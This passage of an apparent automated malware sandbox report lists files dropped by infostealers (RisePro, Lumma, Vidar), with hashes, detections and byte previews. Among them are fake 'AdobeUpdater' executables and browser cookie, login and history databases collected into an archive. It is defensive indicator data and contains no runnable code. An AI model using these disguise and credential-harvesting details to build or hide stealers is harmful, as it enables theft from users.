nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFAD.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 20 04:49:12 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	41560
Entropy (8bit):	1.7290161567741926
Encrypted:	false
SSDEEP:	96:528A3A/68JGnRDdTi7GfWp+xQjAqFlV2gF7anUJO5yBQilot1qnpjbaCjtD+HUbQ:TqZOfDr6yBYEpjblD+0kqTBIhQ55V
MD5:	464401FCF2920EB31150D9F264FC198C
SHA1:	B1CF679DA8CAB92C600A9EA2304FB0D4690236D0
SHA-256:	C7F00760042BAF4738FD2C1B3032647EC5EC2B6CBB6D88B7F32C121897DEA96C
SHA-512:	B8F685B852D4C4640BB70C958BFA892084A64FCF0FDDA7B60AB0556B68B024DD810C075E5542583BC7F552AB7A6BF2E0079D8E31A40EE511411811DCE0B19FDF
Malicious:	false
Preview:	MDMP..a..... ........sf........................<...........4...............T.......8...........T...........x...........................................................................................................eJ..............GenuineIntel............T............sf.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_22594e13276480dd456a8441babc227b\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449536
Entropy (8bit):	7.480206262710139
Encrypted:	false
SSDEEP:	6144:8gNhEV5pZ5BXmp4pEEEXI/ajDfJFb7uNmrkbBlpNezk3g7wZXlQkEDFGqymjv:8gjEV5pZ5hwTuNma8ow7glOsGjv
MD5:	B2F5D04FC1D63F47EC7CDC2B326B7E83
SHA1:	7BF70F68204B0D905D18B1F94D86088F16A15D1F
SHA-256:	B4ED59F2391034891FE8AF87450A34EACA1518B400182554E392845F0D21E7A1
SHA-512:	23AB37F544227A863C22AB4AAEB2A80986F5BD75E12A2A41F2CF4DDB0CBA0FCE20F7560DEE6E65CAD8F022A1CD616BAB2C59722213803D12B699151DC2CFAA3A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'.....:...................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data...hd.......T...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_ba275140a7f982708edd6279b1a14d06\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	538112
Entropy (8bit):	7.608880945287504
Encrypted:	false
SSDEEP:	12288:VExdRcut5khzisOG3eD8zN4mbANhSfmP5xbS8Ejv:VEKutkp3J/bWhTXbSv
MD5:	F7A5C03E582FC4A5034DA5FA422A0F6C
SHA1:	3425C4A4DBE5F82CA89BF9F3642132DBEE5DD30C
SHA-256:	C3A9AB0FBF5CBBEC8E2C28A168D8F0C485F6CFA9FDDD046C94F4704453EE85EE
SHA-512:	6B4B198910CAD2417AA8C2447D18260ABCD096218001F39FB855F02D27CC44A512BF3BEC04928467592A2651A6D82C9E8D8EAE81B6269133AA7BA3BAC749A09D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L...M.rf...............'.........................@..........................`............@..................................l..<............................@.......K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data................h..............@....reloc.......@... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885184
Entropy (8bit):	7.946661021830625
Encrypted:	false
SSDEEP:	49152:HFsPqXkdAgMR5MihEfpi6gm+tiS/g076kCW:HuPvMvqfpngm+tiS/g07+
MD5:	9F7D8785AA5E359848EBE4D771F3DE8D
SHA1:	70161505853A4CB3B2DC7EB690BDE8B0F23B4D82
SHA-256:	9CF43D480F6319717934B1A3F97682A4454C1742E2409AA416BA719E606C34CA
SHA-512:	B26659C8E24BAF0B489198EB28AAFA4E29B5728432F522D22202FB5C3D288BD2E33AEC88FECA1D84B56D42F2DBB369EF517C37815F2C216BAE4722BD5DD7700E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'....."....................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...P........................... ..`.rdata..^...........................@..@.data....L.......<...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\rise1906[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885184
Entropy (8bit):	7.946661021830625
Encrypted:	false
SSDEEP:	49152:HFsPqXkdAgMR5MihEfpi6gm+tiS/g076kCW:HuPvMvqfpngm+tiS/g07+
MD5:	9F7D8785AA5E359848EBE4D771F3DE8D
SHA1:	70161505853A4CB3B2DC7EB690BDE8B0F23B4D82
SHA-256:	9CF43D480F6319717934B1A3F97682A4454C1742E2409AA416BA719E606C34CA
SHA-512:	B26659C8E24BAF0B489198EB28AAFA4E29B5728432F522D22202FB5C3D288BD2E33AEC88FECA1D84B56D42F2DBB369EF517C37815F2C216BAE4722BD5DD7700E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'....."....................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...P........................... ..`.rdata..^...........................@..@.data....L.......<...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlt[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: auTs24fNru.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.Malware-gen.16465.8601.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma1906_2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	538112
Entropy (8bit):	7.608880945287504
Encrypted:	false
SSDEEP:	12288:VExdRcut5khzisOG3eD8zN4mbANhSfmP5xbS8Ejv:VEKutkp3J/bWhTXbSv
MD5:	F7A5C03E582FC4A5034DA5FA422A0F6C
SHA1:	3425C4A4DBE5F82CA89BF9F3642132DBEE5DD30C
SHA-256:	C3A9AB0FBF5CBBEC8E2C28A168D8F0C485F6CFA9FDDD046C94F4704453EE85EE
SHA-512:	6B4B198910CAD2417AA8C2447D18260ABCD096218001F39FB855F02D27CC44A512BF3BEC04928467592A2651A6D82C9E8D8EAE81B6269133AA7BA3BAC749A09D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L...M.rf...............'.........................@..........................`............@..................................l..<............................@.......K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data................h..............@....reloc.......@... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vidar1906[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449536
Entropy (8bit):	7.480206262710139
Encrypted:	false
SSDEEP:	6144:8gNhEV5pZ5BXmp4pEEEXI/ajDfJFb7uNmrkbBlpNezk3g7wZXlQkEDFGqymjv:8gjEV5pZ5hwTuNma8ow7glOsGjv
MD5:	B2F5D04FC1D63F47EC7CDC2B326B7E83
SHA1:	7BF70F68204B0D905D18B1F94D86088F16A15D1F
SHA-256:	B4ED59F2391034891FE8AF87450A34EACA1518B400182554E392845F0D21E7A1
SHA-512:	23AB37F544227A863C22AB4AAEB2A80986F5BD75E12A2A41F2CF4DDB0CBA0FCE20F7560DEE6E65CAD8F022A1CD616BAB2C59722213803D12B699151DC2CFAA3A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'.....:...................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data...hd.......T...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\U4XS0oCaLxVS1ZKFaAUvhYs.zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	659346
Entropy (8bit):	7.9980484377362036
Encrypted:	true
SSDEEP:	12288:1pfAUK2PAShqIDbG1REvs86leCY6Kr1sgNQSnrSiwcgAvON:zfRK2PhRvKleCY661sEnrSiwemN
MD5:	F713A70B1B180C1C66FB64A1A987438E
SHA1:	E6BD7BE33F23B02001A36FF2157F49A675920F9F
SHA-256:	6F26C5AE348789E99F59880B6FFB861DFBD7F305ED6279D149C01A0CFFA2413C
SHA-512:	A7C75ED1A6AF2E3FD80A57C89A83AEB24AD94B8CA3437EA9671659B730E60F297FBE4E4417C9267122284DD91939E6EBBBC2A1AD85044A8888DE56374A91E3F2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\U4XS0oCaLxVS1ZKFaAUvhYs.zip, Author: Joe Security
Preview:	PK........$..X................Cookies\..PK........$..XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\0IGIoN85HzjNWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\ALYxQwMe5MwwHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\AmXZnh1xJmbtLogin Data For Account

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449536
Entropy (8bit):	7.480206262710139
Encrypted:	false
SSDEEP:	6144:8gNhEV5pZ5BXmp4pEEEXI/ajDfJFb7uNmrkbBlpNezk3g7wZXlQkEDFGqymjv:8gjEV5pZ5hwTuNma8ow7glOsGjv
MD5:	B2F5D04FC1D63F47EC7CDC2B326B7E83
SHA1:	7BF70F68204B0D905D18B1F94D86088F16A15D1F
SHA-256:	B4ED59F2391034891FE8AF87450A34EACA1518B400182554E392845F0D21E7A1
SHA-512:	23AB37F544227A863C22AB4AAEB2A80986F5BD75E12A2A41F2CF4DDB0CBA0FCE20F7560DEE6E65CAD8F022A1CD616BAB2C59722213803D12B699151DC2CFAA3A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'.....:...................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...`........................... ..`.rdata..^...........................@..@.data...hd.......T...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\IJwHssdo6vR1History

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\IQQ9x2_YhmjeCookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\JNXEsB3lt_ta57yvH0nX.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885184
Entropy (8bit):	7.946661021830625
Encrypted:	false
SSDEEP:	49152:HFsPqXkdAgMR5MihEfpi6gm+tiS/g076kCW:HuPvMvqfpngm+tiS/g07+
MD5:	9F7D8785AA5E359848EBE4D771F3DE8D
SHA1:	70161505853A4CB3B2DC7EB690BDE8B0F23B4D82
SHA-256:	9CF43D480F6319717934B1A3F97682A4454C1742E2409AA416BA719E606C34CA
SHA-512:	B26659C8E24BAF0B489198EB28AAFA4E29B5728432F522D22202FB5C3D288BD2E33AEC88FECA1D84B56D42F2DBB369EF517C37815F2C216BAE4722BD5DD7700E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\|]./]./]./....L./....../....K./.S..O./.S..H./....T./]./../.S..../.P..\./.P..\./Rich]./................PE..L.....rf...............'....."....................@.......................................@..................................l..<....................................K...............................J..@...............@............................text...P........................... ..`.rdata..^...........................@..@.data....L.......<...h..............@....reloc........... ..................@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\K1uEt2UVAYojLogin Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\PnyjCEPqoDB2Web Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
